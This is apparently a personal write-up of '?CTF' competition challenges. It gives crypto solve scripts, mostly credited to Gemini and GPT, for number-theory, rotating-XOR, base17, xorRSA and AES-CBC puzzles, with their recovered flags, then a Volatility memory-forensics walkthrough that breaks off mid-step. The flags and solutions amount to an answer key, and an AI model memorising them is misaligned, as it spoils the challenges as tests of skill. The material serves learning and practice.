?CTF_WriteUp

crypto

这我是真不会,基本都ai,建议跳过

[Week1] Basic Number theory

Gemini Gemini

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
from Crypto.Util.number import long_to_bytes, inverse

# 挑战中给出的数值
p = 71380997427449345634700552609577271052193856747526826598031269184817312570231
q = 65531748297495117965939047069388412545623909154912018722160805504300279801251
gift1 = 40365143212042701723922505647865230754866250738391105510918441288000789123995
gift2 = 10698628345523517254945893573969253712072344217500232111817321788145975103342

def solve_crt(a1, n1, a2, n2):
"""求解同余方程组 x ≡ a1 (mod n1), x ≡ a2 (mod n2)"""
N = n1 * n2
# 使用公式: x = a1*n2*inv(n2,n1) + a2*n1*inv(n1,n2) mod N
# 其中 inv(a, m) 是 a 在模 m 下的乘法逆元
x = (a1 * n2 * inverse(n2, n1) + a2 * n1 * inverse(n1, n2)) % N
return x

# m 的四种可能同余情况
# m 与 (+/-)gift1 模 p 同余
# m 与 (+/-)gift2 模 q 同余
options = [
(gift1, gift2),
(gift1, -gift2 % q),
(-gift1 % p, gift2),
(-gift1 % p, -gift2 % q)
]

print("正在检查所有4种可能的解:")
for res_p, res_q in options:
# 使用中国剩余定理 (Chinese Remainder Theorem) 求解 m
m_candidate = solve_crt(res_p, p, res_q, q)
try:
# 将数字转换回字节,看看它是否是 flag
flag = long_to_bytes(m_candidate)
# 检查结果是否为包含 'flag' 的可打印字符串
if b'flag' in flag:
print(f"[*] 找到 Flag: {flag.decode()}")
else:
print(f"[ ] 不是 Flag: {flag}")
except Exception as e:
print(f"[!] 转换候选值时出错: {e}")
1
2
3
4
5
正在检查所有4种可能的解:
[ ] 不是 Flag: b'YP:\x08gM{\x80\xc0\x9b\xe38\xe1\x86\x81\xe7%\xc8\xae\xce^\x9b^P!\x06\x18\xf0\x92\x87\xf2C\xba"\xba\xe7]\xcbsg\xc0\xf2d\xa3\xc0,\xf6s\'/\x8e\xfd\xdb\xf1\x92\x08\x7f\xe4`\xf4\'s6H'
[ ] 不是 Flag: b"5a\x85\x14\xca\xaa\xa4\xce\xcb\xad\x81\xe4\xbb\xd1\xa4Gz\xb6\xa1l\x05\x1c\x00\xccX'\xc4,\xcc\x8f\xfb \xc7Y\xdb\xae\x93\xfc\xf4\xd4?F\xa9\x80C\x84\xd1{\xbec\x02lm\xa3\x85\xbf\xcb\xa0\x1f\xbeJ\x83s\xd0"
[ ] 不是 Flag: b'#\xee\xb4\xf3\x9c\xa2\xd6\xb1\xf4\xeeaT%\xb4\xdd\x9f\xab\x12\rbY\x7f]\x83\xc8\xdeU*2Y^\x9eG1\x12\x98,\xfe\xf1\x01\xe7\x1d\xf0\x97\xad\x16\x8aV\x992\xeb\xd4\xa0\xc7|\xbc\xe4\xab\xb3vMX;\xf5'
[*] 找到 Flag: flag{Th3_c0rner5t0ne_0f_C2ypt0gr@phy}

[Week1] Strange Machine

GPTGPT

轮转密钥 (rotating keystream) 式 OTP/XOR 问题

思路(简短):

服务里 Key.generate() 每次把同一个 seed 循环左移 offset 字节(seed = seed[offset:] + seed[:offset]),因此每次加密使用的 key 都是同一 seed 的不同循环移位版本。

程序在开始时打印了第一个密文 cipher1 = pad(plaintext) xor k1(这是我们要恢复的明文对应的密文)。
我们可以用交互选项让服务为任意消息加密。若我们提交空消息(长度 0),padding 会是已知的(整块都是 msg_len 这个字节值),因此得到的密文就是 cipher_i = pad0 xor k_i,从而能直接恢复 k_i:
k_i = cipher_i xor pad0。

两个连续的 k_i 和 k_{i+1} 互为循环移位(移位量等于 offset)。因此我们:
取到服务打印的 cipher1(对应 k1 与未知明文);
请求两次“空消息”加密,得到 cipher2 和 cipher3,从而恢复 k2 和 k3;
计算出把 k2 旋转多少字节可以得到 k3,这个旋转量就是 offset(模 msg_len);
用 offset 把 k2 反向旋转得到 k1;
plaintext_padded = cipher1 xor k1,去 PKCS 风格 padding 就拿到明文。
最后把明文通过菜单选项 2 提交,拿 flag。

关键点:通过观察 base64 解码后密文的字节长度可以直接得到 msg_len,并且 pad 的实现保证当 msg_len < 256 时 padding 是单字节重复(题目代码的实现保证这一点),所以空消息的 padding 是已知的 bytes([msg_len]) * msg_len。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from pwn import remote, xor
from base64 import b64decode
import re

HOST = 'challenge.ilovectf.cn'
PORT = 30001

def parse_b64_from_line_str(line: str) -> str:
"""
Parse patterns like: [*] 首次密文(base64):b'...'
Return the inner base64 string (as str), or fallback part after colon.
"""
m = re.search(r"b'([^']+)'", line)
if m:
return m.group(1)
# fallback: take after last colon and strip
part = line.split(':', 1)[-1].strip()
# if starts with b' and ends with '
if part.startswith("b'") and part.endswith("'"):
return part[2:-1]
return part

def rotate(bs: bytes, s: int) -> bytes:
s %= len(bs)
return bs[s:] + bs[:s]

def main():
r = remote(HOST, PORT)
# read until the line containing the first cipher
first_cipher_b64 = None
while True:
raw = r.recvline(timeout=5)
if not raw:
break
try:
line = raw.decode('utf-8', errors='ignore')
except:
line = str(raw)
# print(line, end='') # uncomment to debug
if '首次密文(base64):' in line or '首次密文' in line:
b64 = parse_b64_from_line_str(line)
if b64:
first_cipher_b64 = b64
break
# maybe next line contains the b'...'
nxt_raw = r.recvline(timeout=2)
if not nxt_raw:
break
try:
nxt = nxt_raw.decode('utf-8', errors='ignore')
except:
nxt = str(nxt_raw)
first_cipher_b64 = parse_b64_from_line_str(nxt)
break

if not first_cipher_b64:
print("无法读取首次密文,退出。收到的最后输出(utf-8-ignore):")
print(r.recv(timeout=1).decode('utf-8', errors='ignore'))
return

c1 = b64decode(first_cipher_b64)
msg_len = len(c1)
print(f"[+] detected msg_len = {msg_len}")
pad0 = bytes([msg_len]) * msg_len

def enc_empty():
r.sendline("1") # send menu choice as str; pwntools will encode
# wait prompt (decode stream until prompt appears)
blk = r.recvuntil("请输入要加密的消息".encode(), timeout=3) if isinstance(b"dummy", bytes) else None
# send an empty line (service will treat it as empty input)
r.sendline(b"")
# read until we see the line that contains the ciphertext
while True:
raw = r.recvline(timeout=4)
if not raw:
break
try:
line = raw.decode('utf-8', errors='ignore')
except:
line = str(raw)
if '你的消息已加密(密文):' in line or '你的消息已加密' in line:
return parse_b64_from_line_str(line)
return None

print("[*] 请求两次空消息加密以恢复轮转 keystream...")
b64_2 = enc_empty()
if not b64_2:
print("enc_empty failed (1)")
return
b64_3 = enc_empty()
if not b64_3:
print("enc_empty failed (2)")
return

c2 = b64decode(b64_2)
c3 = b64decode(b64_3)

k2 = xor(c2, pad0)
k3 = xor(c3, pad0)

s = None
for shift in range(msg_len):
if rotate(k2, shift) == k3:
s = shift
break
if s is None:
print("无法确定 offset(未找到使 k2 轮转到 k3 的 shift)")
return
print(f"[+] detected offset = {s} (mod {msg_len})")

k1 = rotate(k2, (-s) % msg_len)
padded = xor(c1, k1)
pad_len = padded[-1]
if pad_len <= 0 or pad_len > msg_len:
print("[!] padding length 看起来不对,打印 padded (hex):")
print(padded.hex())
return

if padded[-pad_len:] != bytes([pad_len]) * pad_len:
print("[!] padding 验证失败,但仍尝试截取前部")
plaintext = padded[:-pad_len]
print("[+] recovered plaintext (bytes):", plaintext)
try:
print("[+] recovered plaintext (utf-8):", plaintext.decode())
except:
pass

# submit via menu option 2
r.sendline("2")
r.recvuntil("请输入待校验的明文", timeout=3)
r.sendline(plaintext)
# read responses
out = r.recvall(timeout=3)
try:
print(out.decode('utf-8', errors='ignore'))
except:
print(out)
r.close()

if __name__ == "__main__":
main()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
(base) ➜  [Week1] Strange Machine python exp.py
[+] Opening connection to challenge.ilovectf.cn on port 30001: Done
[+] detected msg_len = 16
[*] 请求两次空消息加密以恢复轮转 keystream...
/Users/chao/tmp/ctf/crypto/[Week1] Strange Machine/exp.py:69: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
r.sendline("1") # send menu choice as str; pwntools will encode
[+] detected offset = 3 (mod 16)
[+] recovered plaintext (bytes): b'Oh,you find it!'
[+] recovered plaintext (utf-8): Oh,you find it!
/Users/chao/tmp/ctf/crypto/[Week1] Strange Machine/exp.py:131: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
r.sendline("2")
/Users/chao/tmp/ctf/crypto/[Week1] Strange Machine/exp.py:132: BytesWarning: Text is not bytes; assuming UTF-8, no guarantees. See https://docs.pwntools.com/#bytes
r.recvuntil("请输入待校验的明文", timeout=3)
[+] Receiving all data: Done (68B)
[*] Closed connection to challenge.ilovectf.cn port 30001
: [*] 这是你的flag: flag{6d8c67e5-c9fe-4eb9-8eb1-806e3821978f}

[Week1] beyondHex

学到了学到了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
# 挑战中的密文
base17_string = "807G6F429C7FA2200F46525G1350AB20G339D2GB7D8"

# Base17 (17进制) 使用的字符集
base17_alphabet = "0123456789ABCDEFG"

# 将Base17字符串转换为十进制整数
decimal_value = 0
for char in base17_string:
decimal_value = decimal_value * 17 + base17_alphabet.find(char)

# 将整数转换为字节,然后用ASCII解码
# 首先,计算所需的字节数
byte_length = (decimal_value.bit_length() + 7) // 8
# 转换为字节
byte_string = decimal_value.to_bytes(byte_length, 'big')
# 解码得到flag
flag = byte_string.decode('ascii')

print(flag)
# 输出: flag{welc0me_t0_?CTF!}

[Week1] xorRSA

GPTGPT

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
# Attempt to recover p and q given n and x = p ^ q, then recover the flag m from c.
# This uses a bit-by-bit backtracking reconstruction using constraints from n mod 2^k.
# The provided n, e, c, p_q are pasted from the user's problem.
from math import ceil, log2

n = 18061840786617912438996345214060567122008006566608565470922708255493870675991346333993136865435336505071047681829600696007854811200192979026938621307808394735367086257150823868393502421947362103403305323343329530015886676141404847528567199164203106041887980250901224907217271412495658238000428155863230216487699143138174899315041844320680520430921010039515451825289303532974354096690654604842256150621697967106463329359391655215554171614421198047559849727235032270127681416682155240317343037276968357231651722266548626117109961613350614054537118394055824940789414473424585411579459583308685751324937629321503890169493
e = 65537
c = 17953801553187442264071031639061239403375267544951822039441227630063465978993165328404783737755442118967031318698748459837999730471765908918892704038188635488634468552787554559846820727286284092716064629914340869208385181357615817945878013584555521801850998319665267313161882027213027139165137714815505996438717880253578538572193138954426764798279057176765746717949395519605845713927900919261836299232964938356193758253134547047068462259994112344727081440167173365263585740454211244943993795874099027593823941471126840495765154866313478322190748184566075583279428244873773602323938633975628368752872219283896862671494
x = 88775678961253172728085584203578801290397779093162231659217341400681830680568426254559677076410830059833478580229352545860384843730990300398061904514493264881401520881423698800064247530838838305224202665605992991627155227589402516343855527142200730379513934493657380099647739065365753038212480664586174926100

# helper functions
def bits_of(n):
return n.bit_length()

BITS = max(bits_of(n), bits_of(x))
mask_cache = [(1<<i)-1 for i in range(BITS+2)]

n_bits = n.bit_length()

# Precompute n mod 2^k values to compare quickly
n_mods = [n & mask_cache[k] for k in range(BITS+1)]

# We'll reconstruct p and q LSB to MSB.
x_bits = [(x>>i)&1 for i in range(BITS)]

# We'll maintain partial product array: product_mod = current partial product mod 2^k
# To update efficiently when we set bit k for p or q, we add contributions p_k * (q_partial) << k and q_k * (p_partial) << k and p_k*q_k << (2k) but latter won't affect modulo 2^{k+1} until 2k < k+1 (i.e. never), so we only need to consider cross-terms.
# Simpler (and safe): compute product from known bits each time, since BITS ~ 2048 worst-case but actual p and q ~1024 bits; computing convolution each step is okay.

from functools import lru_cache

@lru_cache(None)
def compute_partial_product(p_bits_tuple, q_bits_tuple):
# p_bits_tuple and q_bits_tuple are tuples of bits (LSB..MSB known length k)
k = len(p_bits_tuple)
P = 0
Q = 0
for i, b in enumerate(p_bits_tuple):
if b:
P |= (1<<i)
for i, b in enumerate(q_bits_tuple):
if b:
Q |= (1<<i)
return (P * Q) & ((1<<k)-1)

# backtracking
from collections import deque

def recover_p_q(n, x):
B = x.bit_length()
# We'll try to find p and q with up to B bits, but actual primes may have fewer; allow up to n.bit_length()
max_bits = n.bit_length()//2 + 2 # rough bound
max_bits = max(B, max_bits)
# Start with empty bits
stack = deque()
# state: (i, p_bits_tuple, q_bits_tuple)
stack.append((0, (), ()))
attempt = 0
while stack:
i, p_bits, q_bits = stack.pop()
attempt += 1
if attempt % 100000 == 0:
print(f'Attempts {attempt}, depth {i}')
if i >= max_bits:
# constructed enough bits, try forming integers and check full product == n
P = sum((bit<<idx) for idx, bit in enumerate(p_bits))
Q = sum((bit<<idx) for idx, bit in enumerate(q_bits))
if P*Q == n:
return P, Q
continue
xi = x_bits[i] if i < len(x_bits) else 0
# possible bit pairs (a,b) with a xor b == xi
candidates = []
if xi == 0:
candidates = [(0,0),(1,1)]
else:
candidates = [(0,1),(1,0)]
for a,b in candidates:
new_p = p_bits + (a,)
new_q = q_bits + (b,)
# compute partial product modulo 2^{i+1}
prod_mod = compute_partial_product(new_p, new_q)
if prod_mod != (n & ((1<<(i+1))-1)):
continue
# otherwise push next
stack.append((i+1, new_p, new_q))
return None, None

p, q = recover_p_q(n, x)
if p is None:
print("Failed to recover p and q.")
else:
if p*q != n:
p, q = q, p # swap maybe
print("Recovered p and q. Checking primality...")
print("p bitlen:", p.bit_length(), "q bitlen:", q.bit_length())
# compute private exponent d
from math import gcd
phi = (p-1)*(q-1)
def inv(a, m):
# modular inverse
return pow(a, -1, m)
d = inv(e, phi)
# recover m
m = pow(c, d, n)
# convert to bytes
def long_to_bytes(n):
s = hex(n)[2:]
if len(s)%2:
s = '0'+s
return bytes.fromhex(s)
flag = long_to_bytes(m)
print("Flag:", flag)

[Week2] AES_mode

看不懂,这题算Gemini的。AES-CBC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
from Crypto.Cipher import AES
from Crypto.Util.number import long_to_bytes
from binascii import unhexlify

# 题目给出的数据
xor_output = 91749376808341004327450956291130629671202939702313462998246826182668975563684
last_ciphertext_hex = b'8f325d5b5c5454680628fa08746d67cf'
msg = b'Welcome to ?CTF! , I hope you can have fun!!!!!!'

# --- 第一步:恢复密钥 (Key) ---

# 将大数分割为高128位和低128位
# 高128位 (hint_upper)
hint_upper_long = xor_output >> 128
# 低128位 (hint_lower ^ key)
xor_lower_long = xor_output & ((1 << 128) - 1)

# key = hint_upper ^ (hint_lower ^ key)
key_long = hint_upper_long ^ xor_lower_long
key = long_to_bytes(key_long, 16)

print(f"✅ Recovered Key: {key.hex()}")

# --- 第二步:逆向 CBC 解密链 ---

# 准备明文块和最后一块密文
p1 = msg[0:16]
p2 = msg[16:32]
p3 = msg[32:48]
c3 = unhexlify(last_ciphertext_hex)

# 创建一个 ECB 模式的解密器,用于解密单个区块
# 注意:虽然原始模式是 CBC,但我们手动进行 XOR,所以只需要核心的块解密功能,即 ECB
decrypter = AES.new(key, AES.MODE_ECB)

# 异或操作辅助函数
def xor_bytes(a, b):
return bytes(x ^ y for x, y in zip(a, b))

# 1. 求 C2
decrypted_c3 = decrypter.decrypt(c3)
c2 = xor_bytes(decrypted_c3, p3)

# 2. 求 C1
decrypted_c2 = decrypter.decrypt(c2)
c1 = xor_bytes(decrypted_c2, p2)

# 3. 求 iv (flag_content)
decrypted_c1 = decrypter.decrypt(c1)
iv = xor_bytes(decrypted_c1, p1)

# 组装最终的 flag
flag = b'flag{' + iv + b'}'
print(f"🚩 Final Flag: {flag.decode()}")
1
2
✅ Recovered Key: 9b39ce9c46e63788507896d6c16f2d33
🚩 Final Flag: flag{CBc_Us3s_Iv!=ECb}

forensics

[Week2] 你也喜欢win7吗

解压得到内存镜像,先探明系统版本vol -f memory.raw windows.info得到:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
Variable	Value

Kernel Base 0xf80003e06000
DTB 0x187000
Symbols file:///Users/chao/miniconda3/lib/python3.13/site-packages/volatility3/symbols/windows/ntkrnlmp.pdb/3844DBB920174967BE7AA4A2C20430FA-2.json.xz
Is64Bit True
IsPAE False
layer_name 0 WindowsIntel32e
memory_layer 1 FileLayer
KdDebuggerDataBlock 0xf80003ff70a0
NTBuildLab 7601.17514.amd64fre.win7sp1_rtm.
CSDVersion 1
KdVersionBlock 0xf80003ff7068
Major/Minor 15.7601
MachineType 34404
KeNumberProcessors 2
SystemTime 2025-10-02 17:19:03+00:00
NtSystemRoot C:\Windows
NtProductType NtProductWinNt
NtMajorVersion 6
NtMinorVersion 1
PE MajorOperatingSystemVersion 6
PE MinorOperatingSystemVersion 1
PE Machine 34404
PE TimeDateStamp Sat Nov 20 09:30:02 2010

确实是win7,win7sp1_rtm

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
(base) ➜  forensics vol -f memory.raw windows.pstree
Volatility 3 Framework 2.26.2

PID PPID ImageFileName Offset(V) Threads Handles SessionId Wow64 CreateTime ExitTime Audit Cmd Path

4 0 System 0xfa800905c840 90 556 N/A False 2025-10-02 15:07:27.000000 UTC N/A - - -
* 232 4 smss.exe 0xfa800a263b30 3 33 N/A False 2025-10-02 15:07:27.000000 UTC N/A \Device\HarddiskVolume1\Windows\System32\smss.exe \SystemRoot\System32\smss.exe \SystemRoot\System32\smss.exe
304 288 csrss.exe 0xfa800aff3860 9 444 0 False 2025-10-02 15:07:28.000000 UTC N/A \Device\HarddiskVolume1\Windows\System32\csrss.exe - -
344 288 wininit.exe 0xfa800b55cb30 3 76 0 False 2025-10-02 15:07:28.000000 UTC N/A \Device\HarddiskVolume1\Windows\System32\wininit.exe - -
* 468 344 lsm.exe 0xfa800c04d190 11 238 0 False 2025-10-02 15:07:29.000000 UTC N/A \Device\HarddiskVolume1\Windows\System32\lsm.exe C:\Windows\system32\lsm.exe C:\Windows\system32\lsm.exe
* 460 344 lsass.exe 0xfa800b093b30 8 877 0 False 2025-10-02 15:07:29.000000 UTC N/A \Device\HarddiskVolume1\Windows\System32\lsass.exe C:\Windows\system32\lsass.exe C:\Windows\system32\lsass.exe
* 444 344 services.exe 0xfa800b079440 12 215 0 False 2025-10-02 15:07:29.000000 UTC N/A \Device\HarddiskVolume1\Windows\System32\services.exe C:\Windows\system32\services.exe C:\Windows\system32\services.exe
** 640 444 svchost.exe 0xfa800b182290 8 295 0 False 2025-10-02 15:07:29.000000 UTC N/A \Device\HarddiskVolume1\Windows\System32\svchost.exe C:\Windows\system32\svchost.exe -k RPCSS C:\Windows\system32\svchost.exe
** 1568 444 SearchIndexer. 0xfa800af3eb30 13 683 0 False 2025-10-02 15:07:36.000000 UTC N/A \Device\HarddiskVolume1\Windows\System32\SearchIndexer.exe C:\Windows\system32\SearchIndexer.exe /Embedding C:\Windows\system32\SearchIndexer.exe
*** 2204 1568 SearchProtocol 0xfa800a193360 8 277 0 False 2025-10-02 17:18:30.000000 UTC N/A \Device\HarddiskVolume1\Windows\System32\SearchProtocolHost.exe "C:\Windows\system32\SearchProtocolHost.exe" Global\UsGthrFltPipeMssGthrPipe15_ Global\UsGthrCtrlFltPipeMssGthrPipe15 1 -2147483646 "Software\Microsoft\Windows Search" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT; MS Search 4.0 Robot)" "C:\ProgramData\Microsoft\Search\Data\Temp\usgthrsvc" "DownLevelDaemon" C:\Windows\system32\SearchProtocolHost.exe
*** 1836 1568 SearchFilterHo 0xfa800b1d79c0 5 93 0 False 2025-10-02 17:18:30.000000 UTC N/A \Device\HarddiskVolume1\Windows\System32\SearchFilterHost.exe "C:\Windows\system32\SearchFilterHost.exe" 0 508 512 520 65536 516 C:\Windows\system32\SearchFilterHost.exe
** 1304 444 svchost.exe 0xfa800a145b30 7 107 0 False 2025-10-02 15:11:00.000000 UTC N/A \Device\HarddiskVolume1\Windows\System32\svchost.exe - -
** 2392 444 svchost.exe 0xfa800b6eb8c0 10 367 0 False 2025-10-02 15:07:37.000000 UTC N/A \Device\HarddiskVolume1\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k LocalServicePeerNet C:\Windows\System32\svchost.exe
** 1060 444 svchost.exe 0xfa800b8a8960 13 317 0 False 2025-10-02 15:09:31.000000 UTC N/A \Device\HarddiskVolume1\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k secsvcs C:\Windows\System32\svchost.exe
** 1496 444 sppsvc.exe 0xfa800b84b060 4 151 0 False 2025-10-02 15:09:31.000000 UTC N/A \Device\HarddiskVolume1\Windows\System32\sppsvc.exe C:\Windows\system32\sppsvc.exe C:\Windows\system32\sppsvc.exe
** 776 444 svchost.exe 0xfa800b21c060 28 558 0 False 2025-10-02 15:07:29.000000 UTC N/A \Device\HarddiskVolume1\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted C:\Windows\System32\svchost.exe
*** 1428 776 dwm.exe 0xfa800b4e09b0 3 85 1 False 2025-10-02 15:07:30.000000 UTC N/A \Device\HarddiskVolume1\Windows\System32\dwm.exe "C:\Windows\system32\Dwm.exe" C:\Windows\system32\Dwm.exe
** 264 444 svchost.exe 0xfa800b2bc060 22 663 0 False 2025-10-02 15:07:29.000000 UTC N/A \Device\HarddiskVolume1\Windows\System32\svchost.exe C:\Windows\system32\svchost.exe -k NetworkService C:\Windows\system32\svchost.exe
*** 3048 264 rdpclip.exe 0xfa800a234b30 8 169 1 False 2025-10-02 16:48:56.000000 UTC N/A \Device\HarddiskVolume1\Windows\System32\rdpclip.exe rdpclip C:\Windows\system32\rdpclip.exe
** 1128 444 wmpnetwk.exe 0xfa800b76a060 13 416 0 False 2025-10-02 15:07:36.000000 UTC N/A \Device\HarddiskVolume1\Program Files\Windows Media Player\wmpnetwk.exe "C:\Program Files\Windows Media Player\wmpnetwk.exe" C:\Program Files\Windows Media Player\wmpnetwk.exe
** 1516 444 svchost.exe 0xfa800b6b6b30 25 350 0 False 2025-10-02 15:07:37.000000 UTC N/A \Device\HarddiskVolume1\Windows\System32\svchost.exe C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation C:\Windows\system32\svchost.exe
** 944 444 svchost.exe 0xfa800b287b30 18 506 0 False 2025-10-02 15:07:29.000000 UTC N/A \Device\HarddiskVolume1\Windows\System32\svchost.exe C:\Windows\system32\svchost.exe -k LocalService C:\Windows\system32\svchost.exe
** 1232 444 taskhost.exe 0xfa800b44f420 9 222 1 False 2025-10-02 15:07:29.000000 UTC N/A \Device\HarddiskVolume1\Windows\System32\taskhost.exe "taskhost.exe" C:\Windows\system32\taskhost.exe
** 724 444 svchost.exe 0xfa800a8a1350 24 613 0 False 2025-10-02 15:07:29.000000 UTC N/A \Device\HarddiskVolume1\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted C:\Windows\System32\svchost.exe
*** 1860 724 audiodg.exe 0xfa800a172060 7 128 0 False 2025-10-02 17:18:44.000000 UTC N/A \Device\HarddiskVolume1\Windows\System32\audiodg.exe C:\Windows\system32\AUDIODG.EXE 0x5f4 C:\Windows\system32\AUDIODG.EXE
** 564 444 svchost.exe 0xfa800b0f2270 10 355 0 False 2025-10-02 15:07:29.000000 UTC N/A \Device\HarddiskVolume1\Windows\System32\svchost.exe C:\Windows\system32\svchost.exe -k DcomLaunch C:\Windows\system32\svchost.exe
** 820 444 svchost.exe 0xfa800b23a9e0 37 1078 0 False 2025-10-02 15:07:29.000000 UTC N/A \Device\HarddiskVolume1\Windows\System32\svchost.exe C:\Windows\system32\svchost.exe -k netsvcs C:\Windows\system32\svchost.exe
** 532 444 spoolsv.exe 0xfa800b3666d0 14 580 0 False 2025-10-02 15:07:29.000000 UTC N/A \Device\HarddiskVolume1\Windows\System32\spoolsv.exe C:\Windows\System32\spoolsv.exe C:\Windows\System32\spoolsv.exe
** 1048 444 svchost.exe 0xfa800b3816c0 19 313 0 False 2025-10-02 15:07:29.000000 UTC N/A \Device\HarddiskVolume1\Windows\System32\svchost.exe C:\Windows\system32\svchost.exe -k LocalServiceNoNetwork C:\Windows\system32\svchost.exe
364 352 csrss.exe 0xfa8009068060 10 283 1 False 2025-10-02 15:07:29.000000 UTC N/A \Device\HarddiskVolume1\Windows\System32\csrss.exe %SystemRoot%\system32\csrss.exe ObjectDirectory=\Windows SharedSection=1024,20480,768 Windows=On SubSystemType=Windows ServerDll=basesrv,1 ServerDll=winsrv:UserServerDllInitialization,3 ServerDll=winsrv:ConServerDllInitialization,2 ServerDll=sxssrv,4 ProfileControl=Off MaxRequestThreads=16 C:\Windows\system32\csrss.exe
* 2620 364 conhost.exe 0xfa80091b6b30 2 59 1 False 2025-10-02 15:23:50.000000 UTC N/A \Device\HarddiskVolume1\Windows\System32\conhost.exe \??\C:\Windows\system32\conhost.exe C:\Windows\system32\conhost.exe
400 352 winlogon.exe 0xfa800b057060 3 117 1 False 2025-10-02 15:07:29.000000 UTC N/A \Device\HarddiskVolume1\Windows\System32\winlogon.exe winlogon.exe C:\Windows\system32\winlogon.exe
1488 1392 explorer.exe 0xfa800b4eeb30 34 1145 1 False 2025-10-02 15:07:30.000000 UTC N/A \Device\HarddiskVolume1\Windows\explorer.exe C:\Windows\Explorer.EXE C:\Windows\Explorer.EXE
* 2024 1488 wordpad.exe 0xfa80091e5b30 6 203 1 False 2025-10-02 17:16:30.000000 UTC N/A \Device\HarddiskVolume1\Program Files\Windows NT\Accessories\wordpad.exe "C:\Program Files\Windows NT\Accessories\WORDPAD.EXE" "C:\Users\C3ngH\Desktop\hint.txt" C:\Program Files\Windows NT\Accessories\WORDPAD.EXE
* 2624 1488 mspaint.exe 0xfa800b3f7a70 6 127 1 False 2025-10-02 17:16:41.000000 UTC N/A \Device\HarddiskVolume1\Windows\System32\mspaint.exe "C:\Windows\system32\mspaint.exe" C:\Windows\system32\mspaint.exe
* 2020 1488 cmd.exe 0xfa800a1ca630 1 22 1 False 2025-10-02 15:23:50.000000 UTC N/A \Device\HarddiskVolume1\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" C:\Windows\system32\cmd.exe
** 2716 2020 DumpIt.exe 0xfa800b5fe060 1 25 1 True 2025-10-02 17:19:00.000000 UTC N/A \Device\HarddiskVolume1\Users\C3ngH\Desktop\DumpIt.exe DumpIt.exe C:\Users\C3ngH\Desktop\DumpIt.exe
2516 528 csrss.exe 0xfa800a23d210 7 77 3 False 2025-10-02 16:48:55.000000 UTC N/A \Device\HarddiskVolume1\Windows\System32\csrss.exe %SystemRoot%\system32\csrss.exe ObjectDirectory=\Windows SharedSection=1024,20480,768 Windows=On SubSystemType=Windows ServerDll=basesrv,1 ServerDll=winsrv:UserServerDllInitialization,3 ServerDll=winsrv:ConServerDllInitialization,2 ServerDll=sxssrv,4 ProfileControl=Off MaxRequestThreads=16 C:\Windows\system32\csrss.exe
1252 528 winlogon.exe 0xfa800a273060 4 98 3 False 2025-10-02 16:48:55.000000 UTC N/A \Device\HarddiskVolume1\Windows\System32\winlogon.exe winlogon.exe C:\Windows\system32\winlogon.exe
* 716 1252 LogonUI.exe 0xfa800a2cdb30 7 186 3 False 2025-10-02 16:48:55.000000 UTC N/A \Device\HarddiskVolume1\Windows\System32\LogonUI.exe "LogonUI.exe" /flags:0x0 C:\Windows\system32\LogonUI.exe

发现这个

1
2
3
* 2024	1488	wordpad.exe	0xfa80091e5b30	6	203	1	False	2025-10-02 17:16:30.000000 UTC	N/A	\Device\HarddiskVolume1\Program Files\Windows NT\Accessories\wordpad.exe	"C:\Program Files\Windows NT\Accessories\WORDPAD.EXE" "C:\Users\C3ngH\Desktop\hint.txt"	C:\Program Files\Windows NT\Accessories\WORDPAD.EXE

** 2716 2020 DumpIt.exe 0xfa800b5fe060 1 25 1 True 2025-10-02 17:19:00.000000 UTC N/A \Device\HarddiskVolume1\Users\C3ngH\Desktop\DumpIt.exe DumpIt.exe C:\Users\C3ngH\Desktop\DumpIt.exe

搜索一下关键词hint.txtflag,哦吼?!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
(base) ➜  forensics vol -f memory.raw windows.filescan | grep -i "hint.txt"
0x29457910 100.0\Users\C3ngH\Desktop\hint.txt
0x2a15a9f0 \Users\C3ngH\AppData\Roaming\Microsoft\Windows\Recent\hint.txt.lnk

(base) ➜ forensics vol -f memory.raw windows.dumpfiles --physaddr 0x29457910
Volatility 3 Framework 2.26.2
Progress: 100.00 PDB scanning finished
Cache FileObject FileName Result

